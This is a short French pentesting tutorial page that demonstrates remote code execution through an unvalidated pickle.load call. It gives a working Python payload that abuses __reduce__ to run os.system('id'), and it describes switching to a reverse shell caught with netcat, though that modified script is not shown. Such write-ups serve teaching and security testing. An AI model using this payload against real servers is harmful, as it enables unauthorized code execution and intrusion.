DES-Pickle RCE - Pentesting Web

Voici comment le code est présenté, et comme on peut le voir, il est chargé sans effectuer aucune forme de validation via pickle.load.

Le script suivant nous permet d'exécuter la commande id et que le serveur nous l'interprète en hexadécimal :

import pickle
import os
import binascii

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))


if __name__ == '__main__':
    print(binascii.hexlify(pickle.dumps(Exploit())))
  • Nous le collons et il nous renvoie un code d'état réussi (0) :

Nous allons ensuite modifier le script pour exécuter un reverse shell :

Nous écoutons avec netcat et obtenons l'accès :

Mis à jour

Ce contenu vous a-t-il été utile ?